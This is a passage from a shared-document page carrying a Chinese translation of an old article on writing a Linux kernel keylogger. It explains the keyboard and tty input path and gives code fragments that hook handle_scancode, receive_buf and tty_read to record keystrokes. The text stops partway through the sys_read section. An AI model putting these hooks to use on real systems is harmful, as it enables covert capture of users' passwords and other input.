Writing Linux Kernel Keylogger.docx
- 文档编号:11867349
- 上传时间:2023-04-06
- 格式:DOCX
- 页数:50
- 大小:41.57KB
Writing Linux Kernel Keylogger.docx
《Writing Linux Kernel Keylogger.docx》由会员分享,可在线阅读,更多相关《Writing Linux Kernel Keylogger.docx(50页珍藏版)》请在冰豆网上搜索。
WritingLinuxKernelKeylogger
|=-----------------=[WritingLinuxKernelKeylogger]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[rd
|=------------------------=[June19th,2002]=--------------------------=|
|=------------------=[整理:
e4gle
|=------------------------=[Aug12th,2002]=--------------------------=|
--[Contents
1-介绍
2-linux的keyboard驱动是如何工作的
3-基于内核的键盘纪录的原理
3.1-中断句柄
3.2-函数劫持
3.2.1-劫持handle_scancode
3.2.2-劫持put_queue
3.2.3-劫持receive_buf
3.2.4-劫持tty_read
3.2.5-劫持sys_read/sys_write
4-vlogger
4.1-工作原理
4.2-功能及特点
4.3-如何使用
5-感谢
6-参考资料
7-Keylogger源代码
--[1-介绍
本文分成两个部分。
第一部分给出了linux键盘驱动的工作原理,并且讨论了建立一个基于
内核的键盘纪录器的方法。
这部分内容对那些想写一个基于内核的键盘纪录器,或者写一个
自己键盘驱动的朋友会有帮助。
第二部分详细描述了vlogger的每个细节,vlogger是一个强大的基于内核的linux键盘纪录器,
以及如何来使用它。
这向技术可以运用在蜜罐系统中,也可以做成一些很有意思的hackergame,
主要用来分析和采集hacker的攻击手法。
我们都知道,一些大家熟知的键盘纪录器,如iob,
uberkey,unixkeylogger等,它们是基于用户层的。
这里介绍的是基于内核层的键盘纪录器。
最早期的基于内核的键盘纪录器是linspy,它发表在phrack杂志第50期。
而现代的kkeylogger(
后面我们将用kkeylogger来表示基于内核的键盘纪录器)广泛采用的手法是中断sys_read或者
sys_write系统调用来对用户的击键进行记录。
显然,这种方法是很不稳定的并且会明显的降低系统的速度,因为我们中断的恰恰是系统使用最
频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用到。
在vlogger里,我用了一个更好的方法,就是劫持ttybuffer进程函数,下面会介绍到。
我假定读者熟悉linux的可加载模块的原理和运作过程,如果不熟悉,推荐大家首先阅读我以前写
过的linuxkernelsimplehacking,或者linuxttyhijack,(在http:
//e4gle.org有下载),
参阅《linux驱动程序设计》来获得相关的理论基础知识。
--[2-linux键盘驱动的工作原理
首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的:
_____________ _________ _________
/ \ put_queue | |receive_buf | |tty_read
/handle_scancode\-------------->|tty_queue|--------------->|tty_ldisc |----------->
\ / | | |buffer |
\_____________/ |_________| |________|
_________ ____________
| |sys_read | |
--->|/dev/ttyX |----------->|userprocess |
| | | |
|_________| |____________|
Figure1
首先,当你输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。
一个独立的
击键可以产生一个六个scancodes的队列。
键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的
转换表(translation-table)将击键事件和键的释放事件(keyreleaseevents)转换成连
续的keycode。
比如,'a'的keycode是30。
击键’a'的时候便会产生keycode30。
释放a键的时候会产生
keycode158(128+30)。
然后,这些keycode通过对keymap的查询被转换成相应key符号。
这步是一个相当
复杂的过程。
以上操作之后,获得的字符被送入rawtty队列--tty_flip_buffer。
receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入
ttyread队列。
当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。
sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构
中指向tty_read的read()函数来读取字符并且返回给用户进程。
/*e4gleadd
file_operations是文件操作结构,定义了文件操作行为的成员,结构如下,很容易理解:
structfile_operations{
structmodule*owner;
loff_t(*llseek)(structfile*,loff_t,int);
ssize_t(*read)(structfile*,char*,size_t,loff_t*);<----这是本文提到的read函数
ssize_t(*write)(structfile*,constchar*,size_t,loff_t*);
int(*readdir)(structfile*,void*,filldir_t);
unsignedint(*poll)(structfile*,structpoll_table_struct*);
int(*ioctl)(structinode*,structfile*,unsignedint,unsignedlong);
int(*mmap)(structfile*,structvm_area_struct*);
int(*open)(structinode*,structfile*);
int(*flush)(structfile*);
int(*release)(structinode*,structfile*);
int(*fsync)(structfile*,structdentry*,intdatasync);
int(*fasync)(int,structfile*,int);
int(*lock)(structfile*,int,structfile_lock*);
ssize_t(*readv)(structfile*,conststructiovec*,unsignedlong,loff_t*);
ssize_t(*writev)(structfile*,conststructiovec*,unsignedlong,loff_t*);
ssize_t(*sendpage)(structfile*,structpage*,int,size_t,loff_t*,int);
unsignedlong(*get_unmapped_area)(structfile*,unsignedlong,unsignedlong,unsignedlong,unsignedlong);
};
我们直到unix系统中设备也是文件,所以tty设备我们也可以进行文件操作。
*/
键盘驱动器可以有如下4种模式:
-scancode(RAW模式):
应用程序取得输入的scancode。
这种模式通常
用于应用程序实现自己的键盘驱动器,比如X11程序。
-keycode(MEDIUMRAW模式):
应用程序取得key的击键和释放行为(通过
keycode来鉴别这两种行为)信息。
-ASCII(XLATE模式):
应用程序取得keymap定义的字符,该字符是
8位编码的。
-Unicode(UNICODE模式):
此模式唯一和ASCII模式不同之处就是UNICODE模式
允许用户将自己的10进制值编写成UTF8的unicode字符,如十进制的数可以编写成
Ascii_0到Ascii_9,或者用户16进制的值可以用Hex_0到Hex_9来代表。
一个keymap
可以产生出一系列UTF8的序列。
以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。
大家如果需要详细了解scancode,
keycode和keymaps的相关信息,参看read[3]。
--[3-基于内核的键盘纪录器的实现步骤
我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.
----[3.1-中断句柄
要纪录击键信息,我们就要利用我们自己的键盘中断。
在Intel体系下,控制键盘的IRQ值是1。
当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。
读写键盘事件
都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。
/*以下代码都是intel格式*/
#defineKEYBOARD_IRQ1
#defineKBD_STATUS_REG0x64
#defineKBD_CNTL_REG0x64
#defineKBD_DATA_REG0x60
#definekbd_read_input()inb(KBD_DATA_REG)
#definekbd_read_status()inb(KBD_STATUS_REG)
#definekbd_write_output(val)outb(val,KBD_DATA_REG)
#definekbd_write_command(val)outb(val,KBD_CNTL_REG)
/*注册我们的IRQ句柄*/
request_irq(KEYBOARD_IRQ,my_keyboard_irq_handler,0,"mykeyboard",NULL);
在my_keyboard_irq_handler()函数中定义如下:
scancode=kbd_read_input();
key_status=kbd_read_status();
log_scancode(scancode);
这种方法不方便跨平台操作。
而且很容易crash系统,所以必须小心操作你的终端句柄。
----[3.2-函数劫持
在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),
tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。
注意,我们不能劫持
tty_insert_flip_char()函数,因为它是一个内联函数。
------[3.2.1-handle_scancode函数
它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。
#/usr/src/linux/drives/char/keyboard.c
voidhandle_scancode(unsignedcharscancode,intdown);
我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。
这就我们
在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用
回原来的,就这么简单。
就是一个内核函数劫持技术。
/*belowisacodesnippetwrittenbyPlasmoid*/
staticstructsemaphorehs_sem,log_sem;
staticintlogging=1;
#defineCODESIZE7
staticcharhs_code[CODESIZE];
staticcharhs_jump[CODESIZE]=
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
void(*handle_scancode)(unsignedchar,int)=
(void(*)(unsignedchar,int))HS_ADDRESS;
void_handle_scancode(unsignedcharscancode,intkeydown)
{
if(logging&&keydown)
log_scancode(scancode,LOGFILE);
/*恢复原始handle_scancode函数的首几个字节代码。
调用恢复后的原始函数并且
*再次恢复跳转代码。
*/
down(&hs_sem);
memcpy(handle_scancode,hs_code,CODESIZE);
handle_scancode(scancode,keydown);
memcpy(handle_scancode,hs_jump,CODESIZE);
up(&hs_sem);
}
HS_ADDRESS这个地址在执行Makefile文件的时候定义:
HS_ADDRESS=0x$(word1,$(shellksyms-a|grephandle_scancode))
其实就是handle_scancode在ksyms导出的地址。
类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用
tty无关。
这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如ctrl,alt,
shift,printscreen等等)。
但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。
同样
它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。
------[3.2.2-put_queue函数
handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。
/*e4gleadd
put_queue函数在内核中定义如下:
voidput_queue(intch)
{
wake_up(&keypress_wait);
if(tty){
tty_insert_flip_char(tty,ch,0);
con_schedule_flip(tty);
}
}
*/
#/usr/src/linux/drives/char/keyboard.c
voidput_queue(intch);
劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。
------[3.2.3-receive_buf函数
底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。
#/usr/src/linux/drivers/char/n_tty.c*/
staticvoidn_tty_receive_buf(structtty_struct*tty,const
unsignedchar*cp,char*fp,intcount)
参数cp是一个指向设备接收的输入字符的buffer的指针。
参数fp是一个指向一个标记字节指针的指针。
让我们深入的看一看tty结构
#/usr/include/linux/tty.h
structtty_struct{
int magic;
structtty_driverdriver;
structtty_ldiscldisc;
structtermios*termios,*termios_locked;
...
}
#/usr/include/linux/tty_ldisc.h
structtty_ldisc{
int magic;
char *name;
...
void (*receive_buf)(structtty_struct*,
constunsignedchar*cp,char*fp,intcount);
int (*receive_room)(structtty_struct*);
void (*write_wakeup)(structtty_struct*);
};
要劫持这个函数,我们可以先保存原始的ttyreceive_buf()函数,然后重置ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。
举个例子:
我们要记录在tty0设备上的输入。
intfd=open("/dev/tty0",O_RDONLY,0);
structfile*file=fget(fd);
structtty_struct*tty=file->private_data;
old_receive_buf=tty->ldisc.receive_buf; //保存原始的receive_buf()函数
tty->ldisc.receive_buf=new_receive_buf; //替换成新的new_receive_buf函数
//新的new_receive_buf函数
voidnew_receive_buf(structtty_struct*tty,constunsignedchar*cp,
char*fp,intcount)
{
logging(tty,cp,count); //纪录用户击键
/*调用回原来的receive_buf*/
(*old_receive_buf)(tty,cp,fp,count);
}
/*e4gleadd
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/
------[3.2.4-tty_read函数
当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。
#/usr/src/linux/drives/char/tty_io.c
staticssize_ttty_read(structfile*file,char*buf,size_tcount,
loff_t*ppos)
staticstructfile_operationstty_fops={
llseek:
tty_lseek,
read:
tty_read,
write:
tty_write,
poll:
tty_poll,
ioctl:
tty_ioctl,
open:
tty_open,
release:
tty_release,
fasync:
tty_fasync,
};
还是举上面的纪录来自tty0的输入信息的例子:
intfd=open("/dev/tty0",O_RDONLY,0);
structfile*file=fget(fd);
old_tty_read=file->f_op->read; //保存原来的tty_read
file->f_op->read=new_tty_read; //替换新的tty_read函数
/*e4gleadd
劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:
staticssize_tnew_tty_read(structfile*file,char*buf,size_tcount,
loff_t*ppos)
{
structtty_struct*tty=file->private_data;
logging(tty,buf,count); //纪录用户击键
/*调用回原来的tty_read*/
(*old_tty_read)(file,buf,count,ppos);
}
*/
------[3.2.5-sys_read/sys_write函数
截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linuxkernelhacking”
若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,
如果大家不明白请参考以上文献。
我提供以下code来实现劫持sys_r
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- Writing Linux Kernel Keylogger